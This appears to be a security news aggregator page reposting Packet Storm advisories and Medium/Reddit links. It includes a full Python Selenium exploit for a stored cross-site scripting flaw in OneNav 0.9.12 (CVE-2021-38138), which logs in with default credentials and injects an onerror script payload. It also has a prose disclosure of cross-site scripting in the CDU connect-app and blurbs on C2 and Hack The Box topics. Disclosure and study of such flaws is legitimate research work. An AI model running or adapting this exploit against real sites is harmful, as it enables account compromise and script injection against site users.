Exploit Collector
Microsoft Windows Malicious Software Removal Tool Privilege Escalation

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Microsoft Windows suffers from unsafe temporary directory use with the Malicious Software Removal Tool that can lead to elevation of privilege.

MD5 | 5aed3041b0a73a2779b0e3f52d9274ad

Download
Source:packetstormsecurity.com

Exploit Collector
OneNav Beta 0.9.12 Cross Site Scripting

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
OneNav Beta version 0.9.12 suffers from a persistent cross site scripting vulnerability.

MD5 | 34f99bb0950d19e9ede342ffe3dfa648

Download
# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r
# Date: 08.06.2021
# Vendor: https://www.xiaoz.me/
# Link: https://github.com/helloxz/onenav/releases/tag/0.9.12
# CVE: CVE-2021-38138

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: nu11secur1ty & g3ck0dr1v3r
# CVE-2021-38138

from selenium import webdriver
import time
#enter the link to the website you want to automate login.
website_link="http://192.168.1.120/index.php?c=login"

#enter your login username
username="xiaoz"

#enter your login password
password="xiaoz.me"

#enter the element for username input field
element_for_username="user"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="layui-btn"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_class_name(element_for_submit)
signInButton.click()

# Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D
time.sleep(3)
browser.get(("http://192.168.1.120/index.php?c=admin&page=add_link"))
time.sleep(3)
browser.execute_script("document.querySelector('[name=\"url\"]').value = '
http://192.168.1.120/index.php?c=admin&page=add_link'")
time.sleep(3)
browser.execute_script("document.querySelector('[name=\"title\"]').value =
'
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
onerror=alert(1) />'")

#button1
browser.execute_script("document.querySelector('[class=\"layui-edge\"]').click()")
time.sleep(1)

# button2 using $ because querySelector cannot parse dd selector
browser.execute_script("$('dd[lay-value=19]').click()")

time.sleep(1)
browser.execute_script("document.querySelector('[name=\"description\"]').value
= '
https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif
onerror=alert(1) />'")

#submit button3
browser.execute_script("document.querySelector('[class=\"layui-btn\"]').click()")
time.sleep(1)
browser.maximize_window()
browser.get(("http://192.168.1.120/index.php?c=admin&page=link_list"))

print("payload is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
----------------------------------------------------------------------------------------

# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138
# Proof: https://streamable.com/ubtzio

Source:packetstormsecurity.com

Exploit Collector
Connect-app (CDU) 3.8 Cross Site Scripting

https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
Connect-app (CDU) version 3.8 suffers from a cross site scripting vulnerability.

MD5 | 5e8f0dece41fa6f243684a5807ff1017

Download
app: connect-app (cdu) (version: 3.8)

cross-site scripting in the registration form name variables. Remote attackers can inject js payloads as name variables to exploit the frontend in the profile view and potentially execute in the backend via the preview. Uncertainty in validating object names in outbound emails, causing the context to be validated insecurely. This allows reflected execution in the message body of the email where the name variable is visible. You can see in the main validation how the developers have tried to parse and encode the content with backslashes and other characters. In this way, the type of validation can easily be bypassed by using simple frames with a source that points to a external link. We have tested this in the portal where the code is executed, we have tested it in the outgoing service emails that insert the name variably in the email body, and we have also tested the stored content that was submitted via the API. All contents was transmitted insecurely and can be manipulated to trigg
er simple cross-site scripting payloads, hijack user session credentials or manipulate outbound emails with reflected malicious content on the application side.

We decided to bring the issue directly to the public after the CDU opened a court case to criminalise a German hacker following a Whitehat report. Normally we wanted to report the vulnerabilities directly via Responsible Disclosure, but were deterred by incidents mentioned above. These did not stop us but we therefore chose another way to make noise.

ref: https://www.golem.de/news/connect-app-cdu-verklagt-offenbar-hackerin-nach-melden-von-luecken-2108-158647.html

ref: https://www.golem.de/news/connect-app-cdu-nimmt-wahlkampf-app-nach-datenleck-offline-2105-156471.html

greetz to cdu
by team smackback

Source:packetstormsecurity.com

Exploit Collector
Nmap Port Scanner 7.92

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
Nmap is a utility for port scanning large networks, although it works fine for single hosts. Sometimes you need speed, other times you may need stealth. In some cases, bypassing firewalls may be required. Not to mention the fact that you may want to scan different protocols (UDP, TCP, ICMP, etc.). Nmap supports Vanilla TCP connect() scanning, TCP SYN (half open) scanning, TCP FIN, Xmas, or NULL (stealth) scanning, TCP ftp proxy (bounce attack) scanning, SYN/FIN scanning using IP fragments (bypasses some packet filters), TCP ACK and Window scanning, UDP raw ICMP port unreachable scanning, ICMP scanning (ping-sweep), TCP Ping scanning, Direct (non portmapper) RPC scanning, Remote OS Identification by TCP/IP Fingerprinting, and Reverse-ident scanning. Nmap also supports a number of performance and reliability features such as dynamic delay time calculations, packet timeout and retransmission, parallel port scanning, detection of down hosts via parallel pings.

MD5 | 0e9d4d6513ae6c79af9d9e7ea02fa05b

Download
Source:packetstormsecurity.com

DEF CON 29 Adversary Village - Matthew Eidelberg - Operation Bypass Catch My Payload If You Can
https://www.reddit.com/r/redteamsec/comments/p14nzj/def_con_29_adversary_village_matthew_eidelberg/

submitted by /u/grandstream (https://www.reddit.com/user/grandstream)
[link] (https://www.youtube.com/watch?v=JXKNdWUs77w) [comments] (https://www.reddit.com/r/redteamsec/comments/p14nzj/def_con_29_adversary_village_matthew_eidelberg/)

Hacking on Medium
At Black Hat: Security threats and how to defend against them

https://cdn-images-1.medium.com/max/1600/1*ccWh6Kgde_W87UtqzeyWng.jpeg
Security experts at Black Hat go deep on supply chain risks and Intelligent Orchestration.

Continue reading on Nerd For Tech »

Hacking on Medium
HTB Love Machine Writeup

https://cdn-images-1.medium.com/max/927/1*DP2uchCs2qFte6ifBC2JvQ.png
Hello, this is my write-up about the Love machine from Hack The Box. I hope all of you are fine. Let’s get started.

Continue reading on Medium »

Hacking on Medium
The Scariest Things We Saw at Black Hat 2021

https://cdn-images-1.medium.com/max/1280/0*65uN2fS7V-M5BZmX.jpg
The annual hacker conference showcases the best and most frightening research for the year.

Continue reading on PC Magazine »

Hacking on Medium
C2 with Shiba Inus

https://cdn-images-1.medium.com/max/600/1*P5GqnQiZghOvWl_ahZkZPw.jpeg
Controlling compromised computers with photos of Shiba Inus

Continue reading on Medium »

Hacking on Medium
Hacker Exploiting Authentication Bypass Bug On Millions Of Routers. — CyberWorkx

https://cdn-images-1.medium.com/max/834/0*847EG6XcqMQPA3H0
Researchers from Juniper threat labs have identified that the threat actors are exploiting a new authentication bypass bug on Arcadyan…

Continue reading on Medium »

Common GraphQL Misconceptions: A rant

Let’s talk about GraphQL, and how evil or good it is — a hot take from a developer cum pentester ;) This post will enlighten your world!Continue reading on Medium »
Read more...

Common GraphQL Misconceptions: A rant
https://securitygoat.medium.com/common-graphql-misconceptions-a-rant-489647167ca3?source=rss------bug_bounty-5